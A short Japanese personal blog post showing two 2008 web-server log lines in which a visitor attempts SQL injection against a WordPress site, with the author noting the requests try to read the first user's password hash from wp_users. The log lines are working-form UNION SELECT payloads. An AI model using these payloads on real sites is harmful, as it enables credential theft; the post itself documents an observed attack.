まとまりのないブログ

something which something is something

sql Tips wordpress

sqlインジェクション

投稿日:

ns.km22518.keymachine.de - - [19/Jul/2008:22:25:12 +0900] "GET /wordpress/index.php?cat=%27+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1" 200 14883 "-" "Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)"
ns.km22518.keymachine.de - - [19/Jul/2008:22:25:14 +0900] "GET /wordpress/index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1" 200 14877 "-" "Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)"

パスワードを割り出そうとしているのか。wordpressのユーザidの1番目のパスワードをselectで取得しようとしているのがログから読み取れる。

-sql, Tips, wordpress

執筆者:


comment

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

日本語が含まれない投稿は無視されますのでご注意ください。(スパム対策)

関連記事

no image

eclipseでtomcatプロジェクトの作成

Javaとtomcatはインストール済みであることを前提とする。 eclipseのインストール eclipseの日本語化 tomcatプラグインをeclipseにインストール tomcatプロジェクト …

no image

SO-DIMM 200pin DDR2 メモリの規格

SO-DIMM 200pin DDR2 メモリの規格について。サンプル画像はhynixのHYMP564~、PC2-5300、容量は512MBのメモリ。そして、DDR2であり、SO-DIMMであり、20 …

no image

インテルSSDの歴史

発売日 品名 型番 規格 備考 2008/09 X25-M Mainstream SSDSA2MH080G1GN 2.5inch Serial ATA(3Gbps) MLC NAND,第1世代モデル, …

no image

Can not extract resource from inner element must either be a resource : android studio

何が原因かわからないが突然ビルド時にエラーを吐くようになってエミュレーターが起動しなくなった。エラー内容を見る限りvalues.xmlというファイルのitem要素がInner element must …

no image

Real UID could not be changed! について調べたことをメモ

xreaのレンタルサーバを使っていると Real UID could not be changed! というような画面が表示されて動的生成されるウェブページが表示されなくなった。